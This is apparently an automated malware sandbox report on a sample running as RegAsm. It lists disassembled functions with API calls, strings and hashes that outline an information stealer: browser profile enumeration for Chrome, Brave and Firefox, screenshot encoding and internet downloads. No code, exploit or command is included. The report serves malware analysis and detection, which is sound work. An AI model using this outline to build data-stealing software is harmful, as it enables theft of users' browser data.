Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*$18A
API String ID: 1125553467-3461493422
Opcode ID: 726007c070200b8b6ccd5e432aca5a88abac811a359fd20cf8ca828f6c5e6349
Instruction ID: eff374fbcd62c6e18ab1f1aaab25817c9043c0eeef42efb3c17498ac9b2729e3
Opcode Fuzzy Hash: 726007c070200b8b6ccd5e432aca5a88abac811a359fd20cf8ca828f6c5e6349
Instruction Fuzzy Hash: 93A18FB1A00218ABCB34DFA4DC85FEE7379BF48305F448589E50D96181EB789B89CF65

Function 6C8635A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C8EF688,00001000), ref: 6C8635D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C8635E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C8635FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C86363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C86369F
__aulldiv.LIBCMT ref: 6C8636E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C863773
EnterCriticalSection.KERNEL32(6C8EF688), ref: 6C86377E
LeaveCriticalSection.KERNEL32(6C8EF688), ref: 6C8637BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C8637C4
EnterCriticalSection.KERNEL32(6C8EF688), ref: 6C8637CB
LeaveCriticalSection.KERNEL32(6C8EF688), ref: 6C863801
__aulldiv.LIBCMT ref: 6C863883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C863902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C863918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C86394C

Strings

AuthcAMDenti, xrefs: 6C863946
QPC, xrefs: 6C8638FC
GenuntelineI, xrefs: 6C863639
GTC, xrefs: 6C863912
MOZ_TIMESTAMP_MODE, xrefs: 6C8635DB

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 973ebf9513cf558c7807a6ba09f9307cbd3ba0e40a098700436d2ef0cdd1657d
Instruction ID: 4ca8cc2cc1302e779e59e73f6fe6009d9083e6cbcc7095ec381cbdd69f7d7423
Opcode Fuzzy Hash: 973ebf9513cf558c7807a6ba09f9307cbd3ba0e40a098700436d2ef0cdd1657d
Instruction Fuzzy Hash: 26B191B1B083109BDB68DF29D94462ABBF5AB9E708F05893DE899D7760D7709D00CBC1

Function 0040BCB0 Relevance: 33.9, APIs: 15, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00420B17,00420B16,00000000,?,?,?,00421398,00420B0F), ref: 0040BD35
StrCmpCA.SHLWAPI(?,0042139C), ref: 0040BD8D
StrCmpCA.SHLWAPI(?,004213A0), ref: 0040BDA3
FindNextFileA.KERNEL32(000000FF,?), ref: 0040C5FF
FindClose.KERNEL32(000000FF), ref: 0040C611

Strings

\Brave\Preferences, xrefs: 0040C01B
Brave, xrefs: 0040BF42
Preferences, xrefs: 0040BF5E
Google Chrome, xrefs: 0040C474

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: ac389881893c878e7153e78c73c88d73921d7cc8774dec2d6e4140750005c09d
Instruction ID: 367325ed2970f14afd5354ed5b858d96e390655a4ce51a4c817116a6e2d4185c
Opcode Fuzzy Hash: ac389881893c878e7153e78c73c88d73921d7cc8774dec2d6e4140750005c09d
Instruction Fuzzy Hash: 5142BB71901108A7CB14FBB1DC96EED733DAF84314F40456EF90A66191EF389B98CB9A

Function 004143F0 Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0041440C
FindFirstFileA.KERNEL32(?,?), ref: 00414423
StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
FindClose.KERNEL32(000000FF), ref: 00414672

Strings

%s\*, xrefs: 00414400
%s\%s, xrefs: 00414484
%s\%s, xrefs: 004144DB

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 9f3bf48bde251c8998207cbfa3dba1c1d14f4b88ae6f084cf6550a3399a378b5
Instruction ID: 93dd7dc702b7a0e0fded8c7806ce8f3795ba14a1618ae0d79b753d530a2b99d1
Opcode Fuzzy Hash: 9f3bf48bde251c8998207cbfa3dba1c1d14f4b88ae6f084cf6550a3399a378b5
Instruction Fuzzy Hash: 11616571900618ABCB30EFA0DC49FEE737DBF48704F408599F50996151EB78AB858FA5

Function 00418AB0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

image/jpeg, xrefs: 00418BD6

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: image/jpeg
API String ID: 0-3785015651
Opcode ID: b004a04b667879b6cdd61793eedbb908b3f0c15db936ddcae61fa4011f9141f2
Instruction ID: ab8c993fcc5868c7862916c534b465bb792f4261399987fcbf2c6f11a1cf59ff
Opcode Fuzzy Hash: b004a04b667879b6cdd61793eedbb908b3f0c15db936ddcae61fa4011f9141f2
Instruction Fuzzy Hash: 2E711CB1A10208ABDB14EFE4DC89FEEB779BF48700F108509F516AB290DB74A945CB65

Function 004139B0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004139D3
FindFirstFileA.KERNEL32(?,?), ref: 004139EA
StrCmpCA.SHLWAPI(?,00420F7C), ref: 00413A18
StrCmpCA.SHLWAPI(?,00420F80), ref: 00413A2E
FindNextFileA.KERNEL32(000000FF,?), ref: 00413B7C
FindClose.KERNEL32(000000FF), ref: 00413B91

Strings

%s\%s, xrefs: 004139C7

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 8dd7ffa64ac57a07e3e009aff93f05e5f75dbf076beb75024cdc8b37be35a72c
Instruction ID: 0978cf4b12305aed0c6265f700eadee139911ff0226e3ee7039eca2cb0139609
Opcode Fuzzy Hash: 8dd7ffa64ac57a07e3e009aff93f05e5f75dbf076beb75024cdc8b37be35a72c
Instruction Fuzzy Hash: EE5188B1900218ABCB24EF60DC45EEE777DBF44304F40858DB60996151EB749BC5CF98

Function 0040F4F0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0042155C,00420D7E), ref: 0040F55E
StrCmpCA.SHLWAPI(?,00421560), ref: 0040F5AF
StrCmpCA.SHLWAPI(?,00421564), ref: 0040F5C5
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040F8F1
FindClose.KERNEL32(000000FF), ref: 0040F903

Strings

prefs.js, xrefs: 0040F652

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 7ebbe7cd5ae137c84f6db4280ba686d5fb98fb500678c966dc28e9bd808766c2
Instruction ID: 51e7ee45db09aa5f39b002a0c415dffe3bc9b22f3a493195af03bb486277efdd
Opcode Fuzzy Hash: 7ebbe7cd5ae137c84f6db4280ba686d5fb98fb500678c966dc28e9bd808766c2
Instruction Fuzzy Hash: 00B17571901108ABCB24FF61DC56FEE7379AF54314F0081BEA40A57191EF386B99CB9A

Function 0040D8C0 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00421454,00420B96), ref: 0040D92B
StrCmpCA.SHLWAPI(?,00421458), ref: 0040D973
StrCmpCA.SHLWAPI(?,0042145C), ref: 0040D989
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040DC0C
FindClose.KERNEL32(000000FF), ref: 0040DC1E

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 9f70424f6231f11fb0d5a48a1b83654233540cff257d080df1dc6a4574cdc3e8
Instruction ID: be130f63dcff9d07870f4f5a4cae658f80ac6a3b159c82c28f33fed987b29411
Opcode Fuzzy Hash: 9f70424f6231f11fb0d5a48a1b83654233540cff257d080df1dc6a4574cdc3e8
Instruction Fuzzy Hash: 23914672900204A7CB14FBB1DC56DED737DAF94354F00866EF80A66191EE389B5C8B9B

Function 00405000 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040501A
RtlAllocateHeap.NTDLL(00000000), ref: 00405021
InternetOpenA.WININET(00420DC7,00000000,00000000,00000000,00000000), ref: 0040503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405061
InternetReadFile.WININET(004159BB,?,00000400,00000000), ref: 00405091
memcpy.MSVCRT ref: 004050DA
InternetCloseHandle.WININET(004159BB), ref: 00405109
InternetCloseHandle.WININET(?), ref: 00405116

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: 6aa4e4764504baa45ad82d2a162e469cf3d52142c6fc492667b66ae45fd2a33c
Instruction ID: 839bf57ea29f75d8981f3e40a03c3eb3ba9ac3aa2e1ac21d7b315b502f3c448d
Opcode Fuzzy Hash: 6aa4e4764504baa45ad82d2a162e469cf3d52142c6fc492667b66ae45fd2a33c
Instruction Fuzzy Hash: 1D31E9B4A00618ABDB20CF54DD85BDDB7B5EF48304F5081E9BA09A7281C7746AC68F99

Function 0040E270 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420C1F), ref: 0040E2E2
StrCmpCA.SHLWAPI(?,0042149C), ref: 0040E332
StrCmpCA.SHLWAPI(?,004214A0), ref: 0040E348
FindNextFileA.KERNEL32(000000FF,?), ref: 0040EA1F

Strings

.@, xrefs: 0040EA35, 0040E42B, 0040E55C, 0040E69B, 0040E2F9, 0040E42E, 0040E55F, 0040E69E
\*.*, xrefs: 0040E28D

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: .@$\*.*
API String ID: 433455689-1178718010
Opcode ID: 7539e1dafe2576d0ec3c7b90cf75903e9b92a90f1f4aa7dc7cae274ad1b404d6
Instruction ID: 20f818950e8166c8af1a449285f1ab07a785d4baccce5c5ed3abadeee2d63442
Opcode Fuzzy Hash: 7539e1dafe2576d0ec3c7b90cf75903e9b92a90f1f4aa7dc7cae274ad1b404d6
Instruction Fuzzy Hash: BE125331911118ABCB14FB61DC5AEED7338AF54314F4045AEB90B62091EF786FD8CB9A

Function 00401710 Relevance: 11.0, APIs: 5, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0042501C,?,00401F6C,?,004250C4,?,?,00000000,?,00000000), ref: 00401963
StrCmpCA.SHLWAPI(?,0042516C), ref: 004019B3
StrCmpCA.SHLWAPI(?,00425214), ref: 004019C9
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E60
FindClose.KERNEL32(000000FF), ref: 00401E72

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Strings

\*.*, xrefs: 00401831

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
